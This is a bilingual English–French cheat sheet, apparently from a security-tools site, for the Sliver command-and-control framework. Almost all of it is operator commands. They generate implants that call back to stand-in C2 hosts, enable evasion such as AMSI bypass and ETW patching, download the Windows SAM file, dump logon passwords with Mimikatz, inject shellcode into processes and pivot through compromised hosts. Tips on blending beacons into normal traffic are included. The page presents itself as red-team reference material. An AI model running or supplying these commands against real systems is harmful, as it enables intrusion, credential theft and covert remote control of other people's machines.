retour aux outils back to tools Ducklings

Sliver

Framework C2 open-source de BishopFox. Supporte les communications mTLS, WireGuard, HTTP/S et DNS avec des implants pour Windows, Linux et macOS. Open-source C2 framework from BishopFox. Supports mTLS, WireGuard, HTTP/S, and DNS comms with implants for Windows, Linux, and macOS.

↗ https://github.com/BishopFox/sliver

Overview

Sliver is a modern, open-source Command & Control (C2) framework designed for red team operations. It auto-generates implants with unique encryption keys, supports multiple transport protocols, and provides a rich operator console with multi-player support.

Server Setup

Start Sliver server (background daemon)

sliver-server

Or as a system service

sudo systemctl start sliver

Connect to server (multiplayer)

sliver-client

Generate Implants

# Interactive console commands:

Generate a beacon (async, check-in based)

generate beacon --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

Generate a session (interactive, persistent connection)

generate --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

HTTP/HTTPS beacon

generate beacon --http https://c2.domain.com --os linux --save /tmp/

DNS C2

generate beacon --dns c2.domain.com --os windows --save /tmp/

WireGuard transport

generate beacon --wg 10.10.10.1:51820 --os windows --save /tmp/

Shellcode format (for injection)

generate --mtls 10.10.10.1 --format shellcode --save /tmp/

Shared library (.dll / .so)

generate --mtls 10.10.10.1 --format shared-lib --os windows --save /tmp/

With evasion (obfuscation + canary bypass)

generate beacon --mtls 10.10.10.1 --evasion --os windows --save /tmp/

Listeners

mTLS listener

mtls

HTTPS listener

https

HTTP listener

http

DNS listener

dns --domains c2.domain.com

WireGuard

wg

Specify port

mtls --lport 8443

Session / Beacon Interaction

sessions   # interactive sessions

beacons    # async beacons

# Interact with a session
use SESSION_ID
# or
sessions -i SESSION_ID

Interact with a beacon

beacons -i BEACON_ID

# Basic recon
whoami
hostname
ps
ls
ifconfig
netstat

# Upload/download
upload /local/file.exe C:\\Windows\\Temp\\file.exe
download C:\\Windows\\System32\\SAM /tmp/SAM

Execute assembly in memory

execute-assembly /path/to/Assembly.exe arg1 arg2

Run shellcode

shellcode inject --pid 1234 /path/to/shellcode.bin

Spawn child session

generate --mtls 10.10.10.1 --format exe | execute-assembly -

Pivoting

SOCKS5 proxy through implant

socks5 start

Port forward

portfwd add --remote 10.10.10.1:445 --bind 127.0.0.1:4445

Reverse port forward

rportfwd add --remote 10.10.10.1:80 --bind 0.0.0.0:8080

Built-in Tools

Run built-in Mimikatz (in-process)

mimikatz "privilege::debug" "sekurlsa::logonpasswords"

SharpHound via execute-assembly

execute-assembly /opt/SharpHound.exe -c All

Process injection

inject --pid 1234 /path/to/shellcode.bin

Screenshot

screenshot

Tips

Beacons are operationally safer than sessions — they blend into normal traffic patterns
Use --evasion flag to enable obfuscation, AMSI bypass, and ETW patching in the implant
Sliver generates unique per-implant keys — each compiled implant is cryptographically distinct
The Armory provides community extensions: armory install all for common post-ex tools

Key commands reference

Server commands:
  generate [beacon]    Build an implant
  mtls/https/http/dns  Start listeners
  sessions             List interactive sessions
  beacons              List beacon implants
  use ID               Interact with session/beacon
  jobs                 Manage listeners

Session commands:
  whoami/hostname/ps/ls/pwd/env
  upload/download
  execute             Run OS command
  execute-assembly    Run .NET assembly in memory
  shellcode           Inject shellcode
  inject              Process injection
  screenshot
  socks5              SOCKS5 proxy
  portfwd             Port forwarding
  rportfwd            Reverse port forward
  mimikatz            Run Mimikatz modules
  armory              Manage extensions

Vue d’ensemble

Sliver est un framework de Command & Control (C2) moderne et open-source conçu pour les opérations red team. Il génère automatiquement des implants avec des clés de chiffrement uniques, supporte plusieurs protocoles de transport, et fournit une console opérateur riche avec support multi-joueurs.

Mise en place du serveur

# Démarrer le serveur Sliver (démon en arrière-plan)
sliver-server

# Ou en tant que service système
sudo systemctl start sliver

# Se connecter au serveur (multiplayer)
sliver-client

Génération d’implants

# Commandes de la console interactive :

# Générer un beacon (asynchrone, basé sur des check-ins)
generate beacon --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

# Générer une session (interactive, connexion persistante)
generate --mtls 10.10.10.1 --os windows --arch amd64 --save /tmp/

# Beacon HTTP/HTTPS
generate beacon --http https://c2.domain.com --os linux --save /tmp/

# C2 DNS
generate beacon --dns c2.domain.com --os windows --save /tmp/

# Transport WireGuard
generate beacon --wg 10.10.10.1:51820 --os windows --save /tmp/

# Format shellcode (pour injection)
generate --mtls 10.10.10.1 --format shellcode --save /tmp/

# Bibliothèque partagée (.dll / .so)
generate --mtls 10.10.10.1 --format shared-lib --os windows --save /tmp/

# Avec évasion (obfuscation + contournement de canary)
generate beacon --mtls 10.10.10.1 --evasion --os windows --save /tmp/

Listeners

# Listener mTLS
mtls

# Listener HTTPS
https

# Listener HTTP
http

# Listener DNS
dns --domains c2.domain.com

# WireGuard
wg

# Spécifier un port
mtls --lport 8443

Interaction avec les sessions / beacons

sessions   # sessions interactives

beacons    # beacons asynchrones

# Interagir avec une session
use SESSION_ID
# ou
sessions -i SESSION_ID

# Interagir avec un beacon
beacons -i BEACON_ID

# Reconnaissance de base
whoami
hostname
ps
ls
ifconfig
netstat

# Upload/download
upload /local/file.exe C:\\Windows\\Temp\\file.exe
download C:\\Windows\\System32\\SAM /tmp/SAM

# Exécuter une assembly en mémoire
execute-assembly /path/to/Assembly.exe arg1 arg2

# Lancer du shellcode
shellcode inject --pid 1234 /path/to/shellcode.bin

# Générer une session enfant
generate --mtls 10.10.10.1 --format exe | execute-assembly -

Pivoting

# Proxy SOCKS5 à travers l'implant
socks5 start

# Port forward
portfwd add --remote 10.10.10.1:445 --bind 127.0.0.1:4445

# Reverse port forward
rportfwd add --remote 10.10.10.1:80 --bind 0.0.0.0:8080

Outils intégrés

# Lancer Mimikatz intégré (in-process)
mimikatz "privilege::debug" "sekurlsa::logonpasswords"

# SharpHound via execute-assembly
execute-assembly /opt/SharpHound.exe -c All

# Injection de processus
inject --pid 1234 /path/to/shellcode.bin

# Capture d'écran
screenshot

Conseils

Les beacons sont opérationnellement plus sûrs que les sessions : ils se fondent mieux dans les motifs de trafic normaux
Utiliser le flag --evasion pour activer l’obfuscation, le contournement AMSI et le patching ETW dans l’implant
Sliver génère des clés uniques par implant : chaque implant compilé est cryptographiquement distinct
L’Armory fournit des extensions communautaires : armory install all pour les outils de post-exploitation courants

Référence des commandes clés

Server commands:
  generate [beacon]    Build an implant
  mtls/https/http/dns  Start listeners
  sessions             List interactive sessions
  beacons              List beacon implants
  use ID               Interact with session/beacon
  jobs                 Manage listeners

Session commands:
  whoami/hostname/ps/ls/pwd/env
  upload/download
  execute             Run OS command
  execute-assembly    Run .NET assembly in memory
  shellcode           Inject shellcode
  inject              Process injection
  screenshot
  socks5              SOCKS5 proxy
  portfwd             Port forwarding
  rportfwd            Reverse port forward
  mimikatz            Run Mimikatz modules
  armory              Manage extensions